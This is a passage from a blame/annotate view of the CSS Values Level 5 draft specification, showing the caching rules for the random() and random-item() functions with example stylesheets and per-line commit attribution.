<a href="#l2094" id="l2094"> 2094</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l768" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2095" id="l2095"> 2095</a> </td> <td class="source"> To resolve these issues, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l769" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2096" id="l2096"> 2096</a> </td> <td class="source"> the ''random()'' and ''random-item()'' functions are defined to generate random values </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l770" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2097" id="l2097"> 2097</a> </td> <td class="source"> under the following caching semantics: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l771" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2098" id="l2098"> 2098</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l772" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2099" id="l2099"> 2099</a> </td> <td class="source"> * Each instance of ''random()'' or ''random-item()'' in a stylesheet </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l773" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2100" id="l2100"> 2100</a> </td> <td class="source"> specifies a <dfn>random-caching key</dfn>. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l774" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2101" id="l2101"> 2101</a> </td> <td class="source"> Two instances of either function must resolve to <em>identical</em> values </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l775" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2102" id="l2102"> 2102</a> </td> <td class="source"> if their [=random-caching keys=] are identical; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l776" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2103" id="l2103"> 2103</a> </td> <td class="source"> they must resolve to <em>distinct</em> values </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l777" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2104" id="l2104"> 2104</a> </td> <td class="source"> if they're different. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l778" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2105" id="l2105"> 2105</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l779" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2106" id="l2106"> 2106</a> </td> <td class="source"> ("Distinct" here means generated by a fresh random operation; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l780" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2107" id="l2107"> 2107</a> </td> <td class="source"> this might coincidentally result in the same value as another random operation.) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l781" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2108" id="l2108"> 2108</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l782" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2109" id="l2109"> 2109</a> </td> <td class="source"> * For ''random()'', </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l783" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2110" id="l2110"> 2110</a> </td> <td class="source"> the [=random-caching key=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l784" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2111" id="l2111"> 2111</a> </td> <td class="source"> is a [=tuple=] of: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l785" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2112" id="l2112"> 2112</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l786" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2113" id="l2113"> 2113</a> </td> <td class="source"> 1. The [=used value=] of the minimum [=calculation=]. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l787" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2114" id="l2114"> 2114</a> </td> <td class="source"> 2. The [=used value=] of the maximum [=calculation=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l788" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2115" id="l2115"> 2115</a> </td> <td class="source"> 3. The [=used value=] of the step [=calculation=], if present, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l789" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2116" id="l2116"> 2116</a> </td> <td class="source"> or null otherwise. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l790" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2117" id="l2117"> 2117</a> </td> <td class="source"> 4. The <<dashed-ident>> part of the <<random-caching-options>>, if present, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l791" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2118" id="l2118"> 2118</a> </td> <td class="source"> or null otherwise. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l792" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2119" id="l2119"> 2119</a> </td> <td class="source"> 5. If ''per-element'' is specified in the <<random-caching-options>>, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l793" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2120" id="l2120"> 2120</a> </td> <td class="source"> a unique value per element or pseudo-element the function appears in. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l794" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2121" id="l2121"> 2121</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l795" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2122" id="l2122"> 2122</a> </td> <td class="source"> * For ''random-item()'', </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l796" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2123" id="l2123"> 2123</a> </td> <td class="source"> the [=random-caching key=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l797" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2124" id="l2124"> 2124</a> </td> <td class="source"> is a [=tuple=] of: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l798" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2125" id="l2125"> 2125</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l799" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2126" id="l2126"> 2126</a> </td> <td class="source"> 1. The number of arguments to the function. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l800" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2127" id="l2127"> 2127</a> </td> <td class="source"> 2. The <<dashed-ident>> part of the <<random-caching-options>>, if present, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l801" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2128" id="l2128"> 2128</a> </td> <td class="source"> or null otherwise. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l802" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2129" id="l2129"> 2129</a> </td> <td class="source"> 3. If ''per-element'' is specified in the <<random-caching-options>>, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l803" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2130" id="l2130"> 2130</a> </td> <td class="source"> a unique value per element or pseudo-element the function appears in. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l804" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2131" id="l2131"> 2131</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l805" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2132" id="l2132"> 2132</a> </td> <td class="source"> The "unique value per element or pseudo-element" must have the same lifetime </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l806" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2133" id="l2133"> 2133</a> </td> <td class="source"> as a JavaScript reference to the element </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l807" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2134" id="l2134"> 2134</a> </td> <td class="source"> (or to the [=originating element=] + sufficient additional info to uniquely identify the pseudo-element). </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l808" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2135" id="l2135"> 2135</a> </td> <td class="source"> Elements in separate documents </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l809" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2136" id="l2136"> 2136</a> </td> <td class="source"> (including across refreshes of the same page, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l810" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2137" id="l2137"> 2137</a> </td> <td class="source"> which produces distinct documents with distinct elements) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l811" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2138" id="l2138"> 2138</a> </td> <td class="source"> <em>should</em> have distinct unique values. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l812" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2139" id="l2139"> 2139</a> </td> <td class="source"> (This is not strictly required, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l813" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2140" id="l2140"> 2140</a> </td> <td class="source"> to allow for pseudo-random generation of these values, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l814" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2141" id="l2141"> 2141</a> </td> <td class="source"> but uniqueness should be likely enough </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l815" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2142" id="l2142"> 2142</a> </td> <td class="source"> that authors cannot depend on elements having the same values across documents.) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l816" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2143" id="l2143"> 2143</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/24fb29f5c263/css-values-5/Overview.bs#l1297" title="24fb29f5c263: [css-values-5] Clarify that the random functions should give distinct values on different documents.">jackalmage@30495</a> </td> <td class="lineno"> <a href="#l2144" id="l2144"> 2144</a> </td> <td class="source"> Additionally, the random generation method <em>should</em> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/24fb29f5c263/css-values-5/Overview.bs#l1298" title="24fb29f5c263: [css-values-5] Clarify that the random functions should give distinct values on different documents.">jackalmage@30495</a> </td> <td class="lineno"> <a href="#l2145" id="l2145"> 2145</a> </td> <td class="source"> generate distinct values for the same operation </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/24fb29f5c263/css-values-5/Overview.bs#l1299" title="24fb29f5c263: [css-values-5] Clarify that the random functions should give distinct values on different documents.">jackalmage@30495</a> </td> <td class="lineno"> <a href="#l2146" id="l2146"> 2146</a> </td> <td class="source"> when invoked on different documents </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/24fb29f5c263/css-values-5/Overview.bs#l1300" title="24fb29f5c263: [css-values-5] Clarify that the random functions should give distinct values on different documents.">jackalmage@30495</a> </td> <td class="lineno"> <a href="#l2147" id="l2147"> 2147</a> </td> <td class="source"> (including refreshes of the same page). </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/24fb29f5c263/css-values-5/Overview.bs#l1301" title="24fb29f5c263: [css-values-5] Clarify that the random functions should give distinct values on different documents.">jackalmage@30495</a> </td> <td class="lineno"> <a href="#l2148" id="l2148"> 2148</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l817" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2149" id="l2149"> 2149</a> </td> <td class="source"> <div class=example> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l818" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2150" id="l2150"> 2150</a> </td> <td class="source"> For example, in the following stylesheet: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l819" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2151" id="l2151"> 2151</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l820" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2152" id="l2152"> 2152</a> </td> <td class="source"> <pre highlight=css> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l821" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2153" id="l2153"> 2153</a> </td> <td class="source"> .random-square { </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l822" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2154" id="l2154"> 2154</a> </td> <td class="source"> width: random(100px, 500px); </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l823" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2155" id="l2155"> 2155</a> </td> <td class="source"> height: random(100px, 500px); </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l824" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2156" id="l2156"> 2156</a> </td> <td class="source"> } </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l825" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2157" id="l2157"> 2157</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l826" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2158" id="l2158"> 2158</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l827" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2159" id="l2159"> 2159</a> </td> <td class="source"> The [=random-caching keys=] for both functions are identical: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l828" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2160" id="l2160"> 2160</a> </td> <td class="source"> <code>(100px, 500px, null, null, null)</code>. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l829" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2161" id="l2161"> 2161</a> </td> <td class="source"> This means that both will resolve to the exact same value, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l830" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2162" id="l2162"> 2162</a> </td> <td class="source"> guaranteeing a square element </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l831" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2163" id="l2163"> 2163</a> </td> <td class="source"> with a size somewhere between ''100px'' and ''500px''. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l832" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2164" id="l2164"> 2164</a> </td> <td class="source"> Additionally, <em>every</em> ''.random-square'' element </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l833" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2165" id="l2165"> 2165</a> </td> <td class="source"> will have the same size. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l834" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2166" id="l2166"> 2166</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l835" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2167" id="l2167"> 2167</a> </td> <td class="source"> On other hand, in this stylesheet: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l836" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2168" id="l2168"> 2168</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l837" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2169" id="l2169"> 2169</a> </td> <td class="source"> <pre highlight=css> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l838" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2170" id="l2170"> 2170</a> </td> <td class="source"> .random-rect { </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l839" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2171" id="l2171"> 2171</a> </td> <td class="source"> width: random(100px, 500px); </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l840" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2172" id="l2172"> 2172</a> </td> <td class="source"> height: random(--x, 100px, 500px); </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l841" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2173" id="l2173"> 2173</a> </td> <td class="source"> } </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l842" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2174" id="l2174"> 2174</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l843" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2175" id="l2175"> 2175</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l844" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2176" id="l2176"> 2176</a> </td> <td class="source"> The [=random-caching keys=] are distinct between the two functions: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l845" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2177" id="l2177"> 2177</a> </td> <td class="source"> the function in 'width' has <code>(100px, 500px, null, null, null)</code>, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l846" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2178" id="l2178"> 2178</a> </td> <td class="source"> while the function in 'height' has <code>(100px, 500px, null, --x, null)</code>. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l847" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2179" id="l2179"> 2179</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l848" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2180" id="l2180"> 2180</a> </td> <td class="source"> This means the two functions will resolve to distinct random values, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l849" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2181" id="l2181"> 2181</a> </td> <td class="source"> making it very unlikely for the element to be square. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l850" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2182" id="l2182"> 2182</a> </td> <td class="source"> However, every element matching ''.random-rect'' </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l851" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2183" id="l2183"> 2183</a> </td> <td class="source"> will still have the <em>same</em> random size. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l852" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2184" id="l2184"> 2184</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l853" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2185" id="l2185"> 2185</a> </td> <td class="source"> Changing any aspect of the function also alters this key. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l854" title="47edf803bff5: [css-values-5] Define random() and random-item(). #2826">jackalmage@29489</a> </td> <td class="lineno"> <a href="#l2186" id="l2186"> 2186</a> </td> <td class="source"> The following two declarations are similarly distinct, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/47edf803bff5/css-values-5/Overview.bs#l855" title="47edf803bff5: [css-values-5] 